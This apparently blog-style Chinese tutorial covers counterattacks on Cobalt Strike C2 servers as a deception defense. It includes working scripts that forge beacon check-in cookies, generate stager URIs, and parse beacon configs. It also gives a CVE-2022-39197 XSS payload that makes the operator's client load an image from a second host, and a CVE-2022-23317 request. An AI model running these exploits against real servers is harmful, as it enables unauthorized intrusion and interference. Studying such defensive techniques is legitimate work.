目录
伪造流量批量上线(欺骗防御)
思路
通过伪造上线心跳流量,发送至攻击者的c2,使攻击者的c2同时上线的大量终端:
通常有两种常见场景:
第一种是,发现攻击者对我们单位在进行精准钓鱼,那么我们可以通过这个欺骗防御,来混淆攻击者的视听,让攻击者的c2server上线大量机器,但是攻击者却执行不了任何命令。
第二种是,发现我们内部已经存在被钓鱼上线的机器,那么此时我们通过这种欺骗防御就是来拖延攻击者,使攻击者难辨真假,从而争取一些排查处置的时间。
这里造上线流量,其实就是造心跳流量,下面是我抓的cs4.0默认配置的心跳流量如下图:(上线抓包)
其实核心就是伪造cookie字段
这个cookie是个非对称RSA加密类型加密后的内容,在RSA加密中,公钥用于加密数据,私钥用于解密数据。所以我们只要能拿到加密使用的公钥和待加密的明文,我们就可以伪造
使用脚本仿照上线试试
# -*- encoding: utf-8 -*-
# Time : 2021/12/24 16:52:07
# Author: crow
import requests
url = 'http://192.168.23.128:4455/activity'
header = {
'Accept':'*/*',
'Cookie': 'EAeqOmZNpPPJ3C3oKLgpgU86ywthxbvs56ZIBDlXNh06bo0DI46NkEiE1xdjlyWRsGYMx4dKfG26T9oxzraFcw0RD1eBltFSNGsk/tb2ISViA1SjwXAi+tQkapRGJ0sgBAP8bkaO2a1GVn0emcy+L+wCZ59bdVsg25yyQ9zBKXM=',
'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; MAAU; NP08)',
'Host': '192.168.23.128:4455',
'Connection': 'Keep-Alive',
'Cache-Control': 'no-cache'
}
res = requests.get(url,headers= header)
# print(res.url)
print('-'*20)
print(res.text) # 无返回
print('-'*20)
print(res.headers) # {'Date': 'Fri, 24 Dec 2021 09:04:53 GMT', 'Content-Type': 'application/octet-stream', 'Content-Length': '0'}
# print('-'*20)
# print(res.status_code)
退出我们之前上线的,运行脚本可以再次上线,但是不能重复上线
那么想要多次上线伪造上线流量,那么关键就是伪造cookie上线
分析cookie 本地cs测试查看cookie的生成过程
需要先在本地找到私钥对cookie进行解密,看cookie的组成
先是生成私钥和公钥
java -cp "cobaltstrike.jar" DumpKeys.java
DumpKeys.java脚本地址:https://research.nccgroup.com/2020/06/15/striking-back-at-retired-cobalt-strike-a-look-at-a-legacy-vulnerability/
要求这三个文件在同一个目录下
运行脚本
抓包获得cookie进行rsa解密
解密网站:https://the-x.cn/cryptography/Rsa.aspx
分析出cookie加密前的组成
图片来自奇安信攻防社区-反制Cobaltstrike的那些手段
现在就可以伪造cookie了
主要思路就是
攻击者利用CS Server生成新的Beacon监听(包括一对非对称公私钥)并生成Stager;
攻击者投递Stager到受控主机;
受控主机在Exploit阶段执行小巧的Stager;
受控主机根据Stager UrI请求特征向Beacon Staging Server下载体积较大更复杂的Stage到本地,Beacon Staging Server会校验UrI的合法性;
Stage解密并解析Beacon配置信息(比如公钥PublicKey、C2 Server信息);
Stage通过公钥PublicKey加密主机的元数据并发送至C2 Server;
C2 Server用私钥解密数据获取主机元数据。
从上述流程中,我们能Get到2个核心点:
- Stager Uri校验算法
- Beacon配置的解密算法
上线的时候先投递一个小巧的Stager Payload,然后通过Stager 去Beacon Staging Server的某个URI下载完整的Stage(也就是体积更大功能更复杂的Payload),并将其注入内存。这个URI作为特征也可以用来识别CS服务器,做网络测绘。CS中Stager URI校验算法,就是生成4位的随机校验码,将校验码拼接到URI后面即可请求到Stage的代码。
在这里面提到生成4位的随机校验码,使用的算法是Stager URI
校验算法checksum8
当前的checksum8
算法执行方法:
从a-z、A-Z、0-9
字母中,随机使用选择四个字符,在这四个字符计算ASCII
码的值后求和取模,如果结果等于92
的为32位
的,等于93
为64位
的,代码如下:
# -*- encoding: utf-8 -*-
# Time : 2021/12/28 16:15:11
# copy Author: crow
# 脚本内容参考:https://mp.weixin.qq.com/s/BLM8tM88x9oT4CjSiupE2A
# https://www.freebuf.com/articles/network/258138.html
import requests
import random,time
def generate_checksum(input):
trial = ''
total = 0
while total != input:
total = 0
trial = ''.join(random.choice("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")
for i in range(4))
# print(trial)
for i in range(4):
# tmp = trial[i:i+1]
# print('total的值', total)
# print('tmp的值:',tmp)
# print('ord的值:',ord(tmp))
# print('除后的值:', ord(tmp) % 256)
# time.sleep(2)
total = (total + ord(trial[i:i+1])) % 256
# print(total)
print('64位的stage:',trial)
return total
# print(total)
for j in range(0,6):
# generate_checksum(92) # 32位
generate_checksum(93) # 64位
执行上面的代码checksum8.py脚本生成随机数
然后随机数拼接ip端口获得一个文件,打开是乱码,
下载之后对其进行解密 在这里直接使用别的师傅写好的脚本https://github.com/Sentinel-One/CobaltStrikeParser
中的代码进行解密,使用方法:在下载下来之后,先使用 pip3 install -r requirements.txt
在这里将需要安装的包都安装好
然后对刚刚下载的文件进行解密,运行下面的命令
python parse_beacon_config.py lqO1 --json > 722.json
可以看到Publickey
接下来就可以模拟上线了
当然这个PublicKey
中要删除无效Padding
,删除之后的正确公钥:
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCY+codW12RRYA54Oyy1UINL11bWidphj3KZfN5uOr+atttTyhHoIVmBJI0qBOUuhFgw+wha2/kAEWpDeVnWzF0Sg50zzHbuZzPhVQKK5m/WS4AEy/er+q1e8yGNKVWtrbm+vEDt0LNbAtC/gfHwX2rXbKUOflcj9C6edy2rZ+0zQIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
修改之后
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCY+codW12RRYA54Oyy1UINL11bWidphj3KZfN5uOr+atttTyhHoIVmBJI0qBOUuhFgw+wha2/kAEWpDeVnWzF0Sg50zzHbuZzPhVQKK5m/WS4AEy/er+q1e8yGNKVWtrbm+vEDt0LNbAtC/gfHwX2rXbKUOflcj9C6edy2rZ+0zQIDAQAB==
上线的话,其实有很多师傅已经写好了脚本,在这里直接下载运行即可:https://github.com/LiAoRJ/CS_fakesubmit
使用方法:直接在下载的工具文件里Public_key.txt
中写入你的公钥就行,注意在写的时候,要使用上面的那个==
结尾的。然后运行脚本:在这里需要输入的C2 Server
的URL
地址,在前面的那个流量里面可以看到
运行工具脚本
成功实现反制cs
上线
cs反制
通过漏洞反制(CVE-2022-39197)
xss
其实就是对user的值进行了伪造,使cs的aggressor端对其进行了渲染从而导致其在对应字段加载了一张图片。
这里我们还是使用上述的项目,伪造发送元数据(伪造心跳流量),稍微做下改变即可将上面“用户名”字段内容,替换成如下的payload,并且我们还要把其他的字段内容缩短:
<html><img src=http://192.168.23.129:8081/Ga0weI.jpg>
如下是对这位师傅的代码GitHub - minhangxiaohui/cobaltstrikefakeup: 伪造cs上线流量,实现cs批量上线,欺骗防御 简单修改:可用看到我们缩短了主机名字段和进程名字段来为用户名字段节省空间
然后运行
python cobaltstrikefakeup.py -T 5 -U http://192.168.23.128:4455/activity -P MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCY+codW12RRYA54Oyy1UINL11bWidphj3KZfN5uOr+atttTyhHoIVmBJI0qBOUuhFgw+wha2/kAEWpDeVnWzF0Sg50zzHbuZzPhVQKK5m/WS4AEy/er+q1e8yGNKVWtrbm+vEDt0LNbAtC/gfHwX2rXbKUOflcj9C6edy2rZ+0zQIDAQAB
本地开个服务看一下访问
上线结果,可以看到成功了
cs反制xss
爆破server口令
这种方式是当我们返现一个vps运行了cs server的时候,我们通过口令字典对server端实现爆破,从而登录server,获取攻击者的相关信息
局限性比较大:
1、攻防中基本没人会直接使用自己服务器做c2,都是各种骚操作来隐藏c2,如:域前置技术、云函数转发等等,所以我们很难找到真实的c2。
2、攻防中,通常是由攻的那一方使用cs,本身都是渗透攻击方面的人,出现弱口令的几率小。
3、如果是攻防场景下,团队使用的CS ,可能登录协议是魔改过的,我们写的爆破脚本,只能爆破原版的cs。
4、貌似是cobaltstrike3.6左右之后,cs对这种爆破做了一定的防御措施,上了一个同步锁,调用sleep函数,睡眠0-1秒。所以我们爆破只能迁就其最大值,1秒钟只能爆一个值
旁路反制
好比渗透测试或者是红队打项目的时候,如果目标找不到利用点进去,就可以从旁站看看对吧,所以这种旁路反制亦是这样,我们发现一个c2上运行着cobaltstrike server了,然后上述的其他反制手段都行不通,这时我们就可以看看,这个c2上是不是还有其他的服务,我们对其端口进行扫描,获取相关信息,从其他服务的缺陷来实现反制
CVE-2022-23317
CobaltStrike <=4.5
CobaltStrike的HTTP(S)监听器对请求URL未进行”/“开头验证,攻击者可通过指定URL获取相关信息。
有效负载(将包目录前的/去掉)
GET stager HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0
可以看到初始的站点基本上都是固定的
bp抓包直接去掉/就OK